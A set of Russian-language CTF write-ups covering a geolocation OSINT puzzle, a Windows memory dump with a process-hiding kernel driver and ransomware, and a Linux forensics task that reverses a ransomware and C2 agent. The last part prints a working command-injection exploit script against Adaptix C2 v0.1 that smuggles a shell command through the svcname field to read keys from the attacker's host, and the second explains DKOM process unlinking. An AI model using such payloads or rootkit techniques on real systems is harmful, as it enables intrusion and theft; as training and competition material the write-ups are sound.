Первая мысль - Таиланд. Пошел проверять стикеры на столбики.

NUUM COFFEE - кофейня на южном тайском острове Koh-Phangan, там же проводится фестиваль Techno Rebelion.

К моменту когда я уже начал решать, в группу уже скинули логотип PMG:

Это польская блогер, которая в марте 2024 года также была на этом острове.

https://www.instagram.com/reel/C4mxwQFS7nK/

Я попытался сузить круг поиска, определив местоположение съёмки ее рилсов, но это не увенчалось успехом - первые же два рилса, местоположение которых я определил были на противоположных частях острова.

Тогда открыл карту всех естественных водоемов тайланда:

https://gis.dwr.go.th/portal/home/webmap/viewer.html?webmap=27baac5c7a9f40a9aec56576af69a072&extent=85.409,4.3301,117.7308,21.6423

И стал проверять все каналы на острове. Искал место, соответствующее этим критериям:

• Оно должно быть легко и публично доступно туристам
• У водоема должен быть песок (видно за лодкой)
• С обоих сторон канала есть дома
• Стена из круглых блоков

Почти сразу внимание привлек пляж Haad Sadel Beach

Мне понравились силуэты пальм, похожие на то, что было на фото, а также этот маленький участок песка у канала

Начал искать видео на ютубе про этот пляж, и сразу понял, что это оно: https://www.youtube.com/watch?v=oIzVG7uuMWs

Дополнительные подтверждения: https://www.youtube.com/watch?v=bdq3HHpji1o

Осталось найти точку и угол съёмки, и это оказалось самым сложным, и заняло больше всего времени. Видео на английском уже кончились, поэтому перешёл на тайские. По запросу "haad sadet beach หาดธารเสด็จ" нашел видео, где видно фрагмент забора с таким же столбиком как у нас:

https://youtu.be/zTNRvbrX9_8?t=140

По относительному расположению объекта и съемки с еще нескольких ракурсов определил финальную точку.

Итоговая визуализация:

В сумме на решение таска потратил около 2 часов

Описание:

Шаг 1. Первичное исследование

Таск встречает нас дампом памяти на 2 гб.Для анализа будем пользоваться volatility3.

python3 vol.py -f mem.raw windows.info
Major/Minor     15.19041
NtSystemRoot    C:\WindowsNt
MajorVersion  10

Этот дамп был снят с Windows 10 19041 (Что удобно, так как для любителей volatility2, на гитхабе существует отдельная ветка специально для этой версии винды).

Попробуем достать файлы из папки Documents
windows.filescan

0xcd04ff6851f0  \Users\Snezhana\Documents\desktop.ini
0xcd0501a392d0  \Users\Snezhana\Documents\README.txt

Из упомянутых Снежаной файлов здесь только 1 - README.txt

Вытащим его:

python3 vol.py -f mem.raw windows.dumpfiles --virtaddr 0xcd0501a392d0

README.txt:

Похоже что этот файл был оставлен малварем шифрофщиком.

На всякий проверили строчку кошелька (это Base64)

ZmFrZV9hZGRyZXNfanVzdF9zb2x2ZV90aGVfdGFzaw > fake_addres_just_solve_the_task

Осознали и пошли решать дальше.

Если есть малварь, и он зашифровал файлы, то он явно должен был запускаться.Список процессов с помощью windows.pslist и windows.psscan не выявил ничего подозрительного, в windows.dlllist и windows.handles тоже ничего не нашел.

Шаг 2. WinCrypt.sys

Внезапно вспомнил, что у таска была категория kernel и решил просмотреть список подгруженных модулей с помощью windows.modules

python3 vol.py -f mem.raw windows.modules
...0xcd04fb87dc00  0xf8050dd80000  0x12000 WdNisDrv.sys    
\SystemRoot\system32\Drivers\WdNisDrv.sys  Disabled0
xcd0500cf3510  0xf8050dda0000  0x8000  WinCrypt.sys    \??
\C:\Windows\System32\drivers\WinCrypt.sys       Disabled
0xcd0500245920  0xcb58ac560000  0x48000 cdd.dll 
\SystemRoot\System32\cdd.dll    Disabled

Среди стандартных драйверов винды внимание привлек WinCrypt.sys

Выкачаем его используя pedump, специально предназначенный для извлечения бинарей:

python3 vol.py -f mem.raw windows.pedump --base 0xf8050dda0000 --kernel-module

Дизассемблируем и изучим исходный код драйвера:
Драйвер создает устройство "\Device\WinCrypt" и обработчик команд IOCTL. Обработчик ожидает pid процесса и одну из двух команд.

//sub_F8050DDA1040NTSTATUS WinCryptDeviceControl(PDEVICE_OBJECT dev, PIRP irp) {
    ULONG pid = *(ULONG*)irp->AssociatedIrp.SystemBuffer;

    switch (code) {
    case 0x222000:
        st = sub_F8050DDA1440(pid);   // sub_F8050DDA1440
        break;
    case 0x222004:
        st = sub_F8050DDA15A4(pid); // sub_F8050DDA15A4
        break;
    default:
        st = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

Функция sub_F8050DDA1440 находит структуру _EPROCESS для данного pid, в которой хранятся вся информация о процессе, зануляет адрес по смещению 0x5a8 и что-то делает с памятью по адресу 0x448.

NTSTATUS HideProcessByPid(ULONG pid) {
    PUCHAR eproc = NULL;
    FindEProcessByPid(pid, &eproc); //sub_F8050DDA1340
    ...
    v3 = eproc + 0x448;
    RtlFillMemory((PVOID)(eproc + 0x5A8), 0x0, 0xF);
    
    v6 = (_QWORD *)v3[1];
    v5 = (_QWORD *)*v3;
    if ( v6 && v5 )
    {
        *v6 = v5;
        v5[1] = v6;
        *v3 = v3;
        v3[1] = v3;
        return 0;
    }

Оффсеты 0x448 и 0x5A8 взяты из структуры _EPROC, спецификацию которой можно прочитать на сайте vergiliusproject - https://www.vergiliusproject.com/kernels/x64/windows-10/2004/_EPROCESS, где описаны все kernel структуры для каждой версии windows.

//0xa40 bytes (sizeof)
struct _EPROCESS{
    struct _KPROCESS Pcb;                                    //0x0
    ...
    VOID* UniqueProcessId;                                   //0x440
    struct _LIST_ENTRY ActiveProcessLinks;                   //0x448
    ...
    struct _FILE_OBJECT* ImageFilePointer;                   //0x5a0
    UCHAR ImageFileName[15];                                 //0x5a8
    ...
};

//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;                               //0x0
    struct _LIST_ENTRY* Blink;                               //0x8
}

Получается, что эта операция зануляет имя процесса, и замыкает процесс сам на себя, выводя его из общего двусвязного списка процессов.

    PLIST_ENTRY prev = v3->Blink;
    PLIST_ENTRY next = v3->Flink;

    prev->Flink = next;
    next->Blink = prev;

    v3->Flink = v3->Blink = v3;

Вторая операция возвращает процесс в общий список, но оставляет имя пустым.

    PLIST_ENTRY head  = g_PsActiveProcessHead;
    
    node->Flink = first;
    node->Blink = head;
    head->Flink = node;
    first->Blink = node;

Шаг 2.5. Интерлюдия

Поняв что делает драйвер, но не поняв что с этим делать я пошел вручную читать BimboIncident.raw в hex редакторе. Было интересно найти следы присутствия других файлов из описания задания.
Поиск по "Documents" выявил наличие в папке следующих файлов:

Хотелось найти содержание Cryptor.exe, поэтому искал по названию. На удивление, слово cryptor встречался в файле  331 раз. Перейдя на первое значение, я был уверен что нашел то что надо, так как передо мной были артефакты от какого-то ransomware

Обрадовавшись, я почти пошел его гуглить, но решил посмотреть и другие вхождения cryptor.

И еще много следов других криптеров, енкриптеров, рансомов и дропперов. Немного огорчившись, я все еще верил, что файлы были зашифрованы одним из них и попытался найти следы нашего README.txt в этих артефактах, но это ни к чему не привело.

Одним из вхождений Сryptor.exe действительно был наш малварь, но не в папке Снежаны, а на рабочем столе пользователя `anon` в папке `test_crypt`.

В этой же папке были найдены файлы README.txt и Flag.png. Похоже что автор задания от этого пользователя тестил этот и другие вирусы, а потом уже запустил на снежане.

Также в папке загрузки у анона нашел файлы

И смешной артефакт с оригинальным названием таска)

Очевидно, что автор очень хотел правильно загрузить драйвер и проверить его работоспособность. Тут то меня и осенило, что драйвер зачем-то подгружали, он где-то точно использовался.

Шаг 3. Поиск скрытого процесса

Volatility2 и 3 ни одним стандартным плагином процессов, скрытых манипуляциями с DKOM, поэтому пришлось написать плагин для этого самому, который находит каждый `_EPROCESS` и проверяет что он замкнут на себя.

python vol.py -f mem.raw windows.malware.hidden_dkom_list
Volatility 3 Framework 2.27.0
Progress:  100.00               PDB scanning finished

PID     PPID    ImageFileName   ImagePath                       EPROCESS_Offset(V)
4440    1208                    C:\Windows\system32\ctfmon.exe  0xcd0501a08340

Нашелся процесс с pid 4440 с пустым именем, это инстанс ctfmon.exe. Через стандартные плагины волатилити вытащить дамп памяти не получилось, поэтому пришлось написать второй плагин для выкачивания таких процессов.

Получили дамп памяти процесса на 525мб, почти в самом его начале присутствует сигнатура MZER какого-то .exe файла. После обрезки файла до начала MZER и декомпилирования кода, предположение подтвердилось - мы нашли Cryptor.exe.

Шаг 4 - Cryptor.exe

Открываем бинарь, прыгаем в функцию main и начинаем исследовать его функциональность. В крипторе все строки зашифрованы, и следующий код мы будем видеть везде, где они расшифровываются:

  strcpy(FileName, "QQ#QZdcN\x7Ft}y");
  do
    ++v5;
  while ( FileName[v5] );
  if ( v5 )
  {
    v6 = 0;
    if ( v5 < 64 )
      goto LABEL_17;
    si128 = _mm_load_si128((const __m128i *)&xmmword_14000AAC0);
    do
    {
      *(__m128i *)&FileName[v6] = _mm_xor_si128(si128, _mm_loadu_si128((const __m128i *)&FileName[v6]));
      *(__int128 *)((char *)&v13 + v6) = (__int128)_mm_xor_si128(
                                                     _mm_loadu_si128((const __m128i *)((char *)&v13 + v6)),
                                                     si128);
      *(__m128i *)((char *)&retaddr + v6) = _mm_xor_si128(
                                              _mm_loadu_si128((const __m128i *)((char *)&retaddr + v6)),
                                              si128);
      *(__int128 *)((char *)&v15 + v6) = (__int128)_mm_xor_si128(
                                                     si128,
                                                     _mm_loadu_si128((const __m128i *)((char *)&v15 + v6)));
      v6 += 64LL;
    }
    while ( v6 < (v5 & 0xFFFFFFFFFFFFFFC0uLL) );
    if ( v6 < v5 )
    {
LABEL_17:
      do
        FileName[v6++] ^= 0xDu;
      while ( v6 < v5 );
    }
  }

Здесь зашифрованная строка копируется в память, затем расшифровывается операцией XOR с 0xD (для хвоста; для кратных 64 байтам блоков используется SSE XOR).

Следующим шагом происходит открытие файла и если он существует, то программа выполняет функцию `sub_1400033A0`, к ней и перейдём.

В первой части данной функции происходит расшифровка всех необходимых строк, затем — рекурсивный перебор всех файлов в директории (это видно по вызову sub_140002A90("recursive_directory_iterator::recursive_directory_iterator", v18, Block);).

Так как это шифратор, то должна быть функция, которая принимает путь до файла и шифрует его. В дампе строк видны стандартные WinCrypt‑API: CryptCreateHash, CryptHashData и т. д. Они используются в `sub_1400043A0` (та принимает два аргумента).

Теперь необходимо понять, как именно происходит шифрование файлов. Ключевой фрагмент:

pbData[0] = *a2 ^ *v12;
pbData[1] = a2[1] ^ v12[1];
pbData[2] = a2[2] ^ v12[2];
pbData[3] = a2[3] ^ v12[3];
pbData[4] = a2[4] ^ v12[4];
pbData[5] = a2[5] ^ v12[5];
pbData[6] = a2[6] ^ v12[6];
pbData[7] = a2[7] ^ v12[7];
pbData[8] = a2[8] ^ v12[8];
pbData[9] = a2[9] ^ v12[9];
pbData[10] = a2[10] ^ v12[10];
pbData[11] = a2[11] ^ v12[11];
pbData[12] = a2[12] ^ v12[12];
pbData[13] = a2[13] ^ v12[13];
pbData[14] = a2[14] ^ v12[14];
pbData[15] = a2[15] ^ v12[15];
phProv = 0;
phKey = 0;
phHash = 0;
if ( CryptAcquireContextW(&phProv, 0, 0, 0x18u, 0xF0000000) )
{
    if ( CryptCreateHash(phProv, 0x800Cu, 0, 0, &phHash) )
    {
    if ( CryptHashData(phHash, pbData, 0x10u, 0) && CryptDeriveKey(phProv, 0x6610u, phHash, 0, &phKey) )
    {
        if ( (v7 & 0xF) != 0 )
        LODWORD(v7) = 16 - (v7 & 0xF) + v7;
        LODWORD(Size) = v7;
        v15 = operator new((unsigned int)v7);
        memset(v15, 0, (unsigned int)Size);
        memcpy(v15, v12, v13 - v12);
        if ( CryptEncrypt(phKey, 0, 0, 0, (BYTE *)v15, (DWORD *)&Size, Size) )
        {...}
    }
    }
}

Из него можно понять, что шифрование идет с помощью AES 256, а ключ для него генерируется на основании двух переменных - входное значение (a2) и первые 16 байт самого файла (v12), а значит, чтобы дешифровать файл, нам нужно знать входное значение (шифруется через XOR с 0xD и является строкой SNEZHANAMALVAREVA), а также первые 16 байт исходного файла. К счастью, флаг у нас в png картинке, а все картинки всегда начинаются с

Первые 8 байт - это PNG сигнатура, дальше должен идти чанк

Чанки могут быть разного размера, но всегда первые 8 байт чанка занимает размер чанка и его тип (4 байта на размер и 4 байта на тип).

В нашем случае в PNG сразу после сигнатуры идет стандартный чанк IHDR, который содержит в себе длину и ширину картинки, а также флаги компрессии, цвета, фильтры и бит глубины, этот чанк всегда имеет размер 13 байт и тип IHDR.
Получается последние 8 байт ключа это размер чанка (00 00 00 0D) и тип чанка (49 48 44 52)

Получается, что у нас есть всё для восстановления исходной картинки, кроме самого шифртекста. Его найти просто: шифруем любую PNG таким же образом и смотрим на первые 16 байт —  они совпадают для одинакового ключа.

Шифруем и ищем в памяти 

Расшифровать картинку с флагом можно так:

import os
p0 = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # PNG header
a2 = [0x53, 0x4e, 0x45, 0x5a, 0x48, 0x41, 0x4e, 0x41, 0x4d, 0x41, 0x4c, 0x56, 0x41, 0x52, 0x45, 0x56] # SNEZHANAMALVAREVA

key = [p0[i] ^ a2[i] for i in range(len(p0))]

with open("key_f.bin", "wb") as f:
    f.write(bytes(key))

os.popen("openssl enc -d -aes-256-cbc -in hidden.pid.4440.dmp -out flag.png -K $(cat key_f.bin | sha256sum) -iv $(xxd -p -c 16 iv_f.bin)")

Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF

Описание:

Шаг 1 - Первичный анализ

Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.

Сразу можно заметить много подозрительных файлов с расширением GSenc, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру HLF1. Дата и время шифрования файлов - 2026-03-22 20:44:43 MSK.

Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте.

По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.

bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в /var/tmp были обнаружены два файла:

Зареверсим их чтобы узнать, что они делают.

Шаг 2. Реверс вредоносов

Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.

GS-encrypt - бинарник, написанный на GO.

Судя по флагам программы, это действительно наш шифратор.

В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.

Cхема шифрования следующая:

Чтобы зашифровать файл надо:

1. Использовать 32 случайных байта как AES_key для AES-256-GCM
2. Сгенерировать случайный nonce длиной gcm.NonceSize()
3. Зашифровать содержимое файла через AES-256-GCM
4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256
5. Сформировать бинарный контейнер:

Формат выходного файла такой:

offset size field
0x00 4 magic
0x04 1 version
0x05 1 key algorithm id
0x06 1 data algorithm id
0x07 2 wrapped key length, uint16 big-endian
0x09 2 nonce length, uint16 big-endian
0x0B 4 ciphertext length, uint32 big-endian
0x0F N RSA-OAEP-SHA256 encrypted AES key
0x0F+N M AES-GCM nonce
0x0F+N+M K AES-GCM ciphertext + GCM auth tag

Для расшифровки нужно:

1. Прочитать первые 15 байт заголовка
2. Проверить magic/version/algo ids
3. Прочитать keyenc_len, nonce_len, ciphertext_len как big-endian
4. Извлечь keyenc, nonce, ciphertext
5. Расшифровать keyenc приватным RSA-ключом через RSA-OAEP-SHA256
6. Получить AES_key
7. Расшифровать ciphertext через AES-256-GCM с nonce и AAD=nil

Но в GS-encrypt приватного ключа RSA не найдено, идем дальше

agent.bin - более объемный, выполняет роль c2 агента для удаленного доступа атакующего к системе. Самое интересное, что мы можем достать отсюда - IP адрес или домен C2 сервера.

в main_main вызывается net_Dial

которой в параметры передается ip/domain сервера, который хранится в qword_A23888.

До этого у нас вызывается gopher_utils_DecryptData, где первые 16 байт v0 - ключ, остальное данные.

который после дешифровки кладет данные в Profile, Profile.Adresses которого потом как раз перемещается в qword_A23888

Данные которые дешифруются лежат в off_A17B30 -> off_A17B50 -> unk_9F59A0

Первые 16 байт - ключ, оставшиеся - данные. Общее количество данных - 0xA7 (лежало в off_A17B50)

Чтобы расшифровать, используем обычный AES-GCM, использующийся в gopher_utils_DecryptData. Первые 12 байт после key - nonce

key (16 bytes):
51 D9 74 9D F3 F6 42 D1 CC E3 44 38 82 D3 E6 4E

nonce:
7E 11 7D 14 AF D7 3F 92 06 9E F2 FC

encrypted+tag:
6B E7 18 70 78 BC 17 09 E8 64 20 74 71 E0 C5 19 8C 64 93 DC
76 58 95 C4 6C 73 71 F7 DB 65 72 1D 6E 88 1D 13 6B C7 1C AB
26 8A 74 D9 EA A9 EF 2A 40 B8 69 7F DA C0 A1 19 D8 D0 73 81
36 48 4A C5 31 98 AE 16 87 DA 4F 50 BB BD BE C6 5B 55 7B F0
F4 D6 41 AE C0 D7 7C F8 B9 DA 04 03 09 62 91 0F 49 33 73 B7
AE A9 E9 E9 B8 0C 39 51 A0 B3 7A 8D 5C 56 41 05 24 3E 2F 5D
6D 06 FB 4D A5 5A A7 52 C2 CA 9B 00 79 53 0F 4E 31 5E E5

Расшифровав и распарсив msgpack, получаем

{
  "type": 2421052563,
  "addresses": [
    "cc.gigashad.xyz:4444"
  ],
  "banner_size": 17,
  "conn_timeout": 10,
  "conn_count": 1000000000,
  "use_ssl": false,
  "ssl_cert": null,
  "ssl_key": null,
  "ca_cert": null
}

Нашли домен и порт c2 сервера, будем копать туда.

Шаг 3. Gigashad

На cc.gigashad.xyz уже ничего не висит, но на основном домене gigashad.xyz есть сайт, на котором есть ссылка на телеграм-канал атакующего.

В телеграм канале несколько постов, в том числе пост о взломе и шифровании хоста, образ которого у нас есть, несколько постов для наполнения, но самый примечательный из всех постов - туториал по установке Adaptix C2 сервера.

В этом видео он "случайно" сливает важную информацию:

Содержимое корневой директории

Дату съемки видео

Запуск сервера на стандартном профиле

Пароль из 4 символов и имя аккаунта

Все для подключения к серверу

Шаг 4. Adaptix C2 0.1

Если мы перейдем по ссылке (которая тоже была в видео) на гитхаб Adaptix C2 сервера, то увидим, что 26.01.2025 вышла версия Adaptix C2 0.1

Склоним, переключимся на этот коммит, забилдим и попытаемся подключиться к серверу:

Пароль по умолчанию - pass

У нас действительно получилось подключиться, но клиент пустой, ничего нету, кроме попыток что-то сделать другими участниками.

Так как мы знаем что Adaptix C2 сервер запущен на хосте, где лежат DECRYPTION_KEYS, и единственный способ достучаться до этого хоста - через этот сервер, возникло предположение что в версии 0.1 существует некое RCE или задуманный функционал, позволяющий читать файлы на хосте.

Изучив исходный код сервера Adaptix v0.1 была найдена уязвимость типа command injection в ручке /agent/generate.

Изначально эта ручка должна была просто создавать бинарь под нужный listener, и отдать payload клиенту. Ручкой ожидался пейлоад типа:

{
  "os": "windows",
  "arch": "x64",
  "format": "Exe",
  "sleep": "4s",
  "jitter": 0,
  "svcname": "AgentService"
}

Но поле svcname небезопасно подставлялось в команду, которая вызвается через exec.Command.

pl_agent.go

agentProfileSize := len(agentProfile) / 4
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o",
    Compiler, CFlag, ObjectDir, generateConfig.SvcName, string(agentProfile), agentProfileSize, tempDir)

runnerCmdConfig := exec.Command("sh", "-c", cmdConfig)
runnerCmdConfig.Dir = currentDir
runnerCmdConfig.Stdout = &stdout
runnerCmdConfig.Stderr = &stderr
err = runnerCmdConfig.Run()
if err != nil {
    os.RemoveAll(tempDir)
    return nil, "", errors.New(string(stderr.Bytes()))
}

svcname подставлялось в команду вместо -DSERVICE_NAME='\"%s\"', и если в svcname подать пейлоад типа x' ; ({cmd}) >&2; exit 1; #, то agent/generate вместо бинаря возвращал вывод команды cmd.

Перед отправлением этой команды, необходимо создать listener на /listener/create.

Это полный RCE на хосте атакующего, по факту можно было сделать все что угодно, но так как нам необходимы только ключи для нашего образа, вытащим их:

import base64
import json
import secrets

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "https://lab.gigashad.xyz:4321/endpoint"
DIR = "/DECRYPTION_KEYS/Northwind_Coffee_Roasters"

r = requests.post(f"{URL}/login", json={"username": "gigashad", "password": "pass"}, verify=False, timeout=15)
token = r.json()["access_token"]
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

name = "L" + secrets.token_hex(4)
listener = {
    "host_bind": "0.0.0.0",
    "port_bind": "9999",
    "callback_port": "9999",
    "callback_servers": "lab.gigashad.xyz",
    "urn": "/beacon.php",
    "http_method": "POST",
    "hb_header": "X-Beacon-Id",
    "user_agent": "Mozilla/5.0",
    "host_header": "",
    "request_headers": "",
    "x-forwarded-for": False,
    "page-error": "404",
    "page-payload": "OK <<<PAYLOAD_DATA>>> DONE",
    "server_headers": "",
}
requests.post(
    f"{URL}/listener/create",
    headers=headers,
    json={"name": name, "type": "external/http/BeaconHTTP", "config": json.dumps(listener)},
    verify=False,
    timeout=20,
)

svc = f"x' ; (cat {DIR}/* | base64 -w0) >&2; exit 1; #"
agent = {
    "listener_name": name,
    "listener_type": "external/http/BeaconHTTP",
    "agent": "beacon",
    "config": json.dumps({"os": "windows", "arch": "x64", "format": "Exe", "sleep": "1s", "jitter": 0, "svcname": svc}),
}
r = requests.post(f"{URL}/agent/generate", headers=headers, json=agent, verify=False, timeout=60)
data = [x.strip() for x in r.json()["message"].splitlines() if x.strip()][-1]

open("recovered_keys.bin", "wb").write(base64.b64decode(data))
print("saved recovered_keys.bin")

В recovered_keys.bin будет содержание и приватного, и публичного ключа для расшифровки GSenc файлов.

Шаг 5. Финал

Осталось лишь написать дешифатор для расшифровки файлов из образа:

import argparse
import re
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA


def load_private_key(path: Path):
    data = path.read_text("utf-8", errors="ignore")
    m = re.search(
        r"-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----",
        data,
        re.S,
    )
    if not m:
        raise ValueError("private RSA key not found")
    return RSA.import_key(m.group(0))


def parse_gsenc(data: bytes):
    if len(data) < 15:
        raise ValueError("file too short")
    if data[:4] != b"HFL1":
        raise ValueError("bad magic")

    version = data[4]
    key_algo = data[5]
    data_algo = data[6]
    key_len = int.from_bytes(data[7:9], "big")
    nonce_len = int.from_bytes(data[9:11], "big")
    ct_len = int.from_bytes(data[11:15], "big")

    if version != 1 or key_algo != 1 or data_algo != 1:
        raise ValueError(f"unsupported header: version={version} key_algo={key_algo} data_algo={data_algo}")

    pos = 15
    keyenc = data[pos:pos + key_len]
    pos += key_len
    nonce = data[pos:pos + nonce_len]
    pos += nonce_len
    ciphertext = data[pos:pos + ct_len]

    if len(keyenc) != key_len or len(nonce) != nonce_len or len(ciphertext) != ct_len:
        raise ValueError("truncated container")
    return keyenc, nonce, ciphertext


def decrypt_file(enc_path: Path, key_path: Path, out_path: Path):
    keyenc, nonce, ciphertext = parse_gsenc(enc_path.read_bytes())
    priv = load_private_key(key_path)
    aes_key = PKCS1_OAEP.new(priv, hashAlgo=SHA256).decrypt(keyenc)
    plain = AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(ciphertext[:-16], ciphertext[-16:])
    out_path.write_bytes(plain)
    return plain


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("enc", nargs="?", default="flag.txt.GSenc")
    ap.add_argument("-k", "--key", default="recovered_keys.bin")
    ap.add_argument("-o", "--out")
    a = ap.parse_args()

    enc = Path(a.enc)
    out = Path(a.out or enc.with_suffix(""))
    plain = decrypt_file(enc, Path(a.key), out)
    print(f"saved {out}")
    try:
        print(plain.decode())
    except UnicodeDecodeError:
        print(plain)


if __name__ == "__main__":
    main()

После расшифровки flag.txt.GSenc, получили флаг: